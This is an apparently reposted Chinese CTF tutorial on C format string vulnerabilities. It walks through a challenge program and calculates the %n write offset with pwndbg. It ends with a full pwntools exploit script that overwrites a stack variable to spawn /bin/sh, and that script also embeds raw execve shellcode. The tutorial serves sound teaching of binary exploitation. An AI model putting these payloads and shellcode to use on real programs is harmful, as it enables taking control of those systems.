<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    PWN入門-格式化字符串漏洞

    VSole2022-06-07 16:53:33

    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。

    此處放出一些常見的格式化字符串函數:

    1. #include  2. int printf(const char *format, ...);3. int fprintf(FILE stream, const char format, ...);4. int dprintf(int fd, const char *format, ...);5. int sprintf(char str, const char format, ...);6. int snprintf(char str, size_t size, const char format, ...);
    

    轉換指示符號:


    長度:

    示例:

    #include #include void mian(){    char *format = "%s";    char *arg1 ="Hello!I‘m ReStr0!";    printf(format,arg1);}此處是格式化字符串的使用方式
    當我們運行它時printf("%03d.%03d.%03d.%03d", 127,0,0,1);//"127.000.000.001"2. printf("%.2f", 1.2345); // 1.233. printf("%#010x", 3735928559); // 0xdeadbeef5. printf("%s%n", "01234", &n); // n = 5
    

    這里拿printf格式化字符舉例,在glibc庫中它的相關代碼如下:

    可以看出它從輸出流種會將輸出的內容按照我們設置的format進行格式化輸出。

    漏洞產生原因和利用原理

    /***我們在正常的對格式化字符輸出時大都使用printf(*format,*arg);此種形式進行輸出,但是部分程序員在開發的使用,為了省事使用了,printf(*format);進行輸出為了方便對比,我將在下面貼出正常和存在格式化字符漏洞的寫法。***/錯誤:#include void main(){    char str[1024];    scanf(%s,&str);    printf(%s);}  正確:#include void main(){    char str[1024];    scanf(%s,&str);    printf(%s,str);}//但是如果我們正常輸入字符的情況下,此時兩個都是可以正常輸出我們需要的字符串,但是當我們將%x作為arg鍵入后,//錯誤的代碼會將此處的地址打印出來,通過%n操作符我們可以修改指定地址的數據以達到劫持程序流的目的。//而且此時因為數據長的很長,我們可以輸入很多的格式化字符,來泄露我們需要的地址或者其他信息(canary等)。//最常見的就是通過格式化字符串漏洞泄露libc進行計算基址,泄露canary 進行bypass或者通過格式化字符串漏洞進行對got表地址某幾位的改寫。
    

    CTF題目例子

    int __cdecl main(int argc, const char **argv, const char **envp){  int a; // [rsp+Ch] [rbp-74h] BYREF  char str[100]; // [rsp+10h] [rbp-70h] BYREF   memset(str, 0, sizeof(str));  a = 16;  printf("ReStr0 tell you %p", &a);  __isoc99_scanf("%s", str);  printf(str);  if ( a == 32 )  {    puts("success");    system("/bin/sh");  }  else  {    puts("failure");  }  return 0;}
    

    這道題目我是用64位進行編譯的,我們審計代碼得知,題目告訴你a的地址,只要我們通過格式化字符串漏洞修改a的值為32就可以getshell,我們也知道可以通過%x$n+p64(a_addr)修改值,那么我們該如何計算這個偏移x呢?

    兩張圖看懂如何計算偏移

    此處我們也可以通過pwndbg自帶的fmtarg進行計算。

    首先我們在printf的地方打下斷點。

    然后c運行后在輸入出隨便輸入字符aaaa。

    隨后停在因為之前打了斷點,在printf出停下,發現aaaa返回地址在0x7fffffffdb90 輸入fmtarg 0x7fffffffdb90 即可計算出偏移為8。

    我們也可以通過上面的兩張圖方法計算出偏移。

    附上編譯好的bin程序和exp。

    binary程序下載地址

    鏈接:https://pan.baidu.com/s/11VvBozTXEZKs3ownh4grqg 

    提取碼:hjtp

    EXP:

    # _*_ coding:utf-8 _*_from pwn import *context.log_level = 'debug' p=process("fofo")#p=remote("123.57.230.48","12342")    def debug(addr,PIE=True):    debug_str = ""    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        for i in addr:            debug_str+='b *{}'.format(hex(text_base+i))        gdb.attach(p,debug_str)    else:        for i in addr:            debug_str+='b *{}'.format(hex(i))        gdb.attach(p,debug_str) def dbg():    gdb.attach(p)#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))        #in case that data is an intsa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda numb=4096          :p.recv(numb)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)it      = lambda                    :p.interactive()uu32    = lambda data   :u32(data.ljust(4, '\0'))uu64    = lambda data   :u64(data.ljust(8, '\0'))bp      = lambda bkp                :pdbg.bp(bkp)li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))  def dbgc(addr):    gdb.attach(p,"b*" + hex(addr) +" c") def lg(s,addr):    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"#https://www.exploit-db.com/shellcodes#----------------------------------------------------------------------------------------- ru("0x")stack = int(r(12),16)#lg('stack',stack)#print#log.info(hex(stack))print hex(stack) pay = "%32c%9$n"+p64(stack)sl(pay)sleep(0.1)it()
    
    printflambda
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    賽時有考慮過ret to dl_resolve的做法,在網上查了下也沒發現有相關的文章,當時也沒有詳細研究,這次趁著期末考前有空,仔細琢磨了一下。
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    從某新生賽入門PWN
    2022-11-26 16:02:34
    本文為看雪論壇優秀文章看雪論壇作者ID:bad_c0de在某平臺上看到了質量不錯的新生賽,難度也比較適宜,因此嘗試通過該比賽進行入門,也將自己所學分享給大家。賽題ezcmp賽題分析該程序的C代碼如下,因此我們只要使buff和test的前三十個字節相同即可。因此可以直接在比較處下斷點查看buff數組的值即可。#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt{ int a; for{ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for{ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=&0xff; buf[i]+=&0xff; }}int main(){ setbuf; setbuf; setbuf; puts; char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy; char test[30]; int v0=1; srand; enccrypt; read; if(!ezr0p64賽題分析查看保護同理可以通過rop進行繞過。
    前置知識Intel匯編,棧溢出利用,基礎rop鏈Stack_migration介紹當我們發現存在棧溢出漏洞,但是溢出字節非常小,比如0x10的時候我們就需要利用棧遷移,將棧遷移置足夠大的區段去編寫rop鏈以達到我們利用的目的。為了方便教學,這里以CTF賽題的形式進行教學。
    對于堆的恐懼來自堆復雜的管理機制,相較于棧來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。題目分析基本信息分析查看文件類型,32位,沒有去掉符號。notepad_new大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。
    我們現在一般做題題目是給出很大的一塊空間供我們寫入棧溢出的ROP鏈的,但是當題目限制輸入的空間比如說幾個字節呢,只能覆蓋到ebp,ret_addr,這個時候就需要棧遷移這樣的騷操作了,接下來我將用很通俗的語言帶你們深入理解棧遷移。
    house of force 主要利用 top chunk 的漏洞 通過修改topchunk_size來進行攻擊 利用 top chunk 分割的漏洞來申請任意 chunk, 然后再劫持 hook 或者更改 got表
    0x00 日常查殼無殼64位0x01 CFGGETC在講這題ollvm與異常處理之前,有必要先搞懂我們到底是怎么輸入的。一共有三處getc處理我們第一段輸入的地方。程序最先開始運行的是 407629,這里我們可以輸入上下左右箭頭與特定的數字。隨后到 40553A 讀取為5B。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类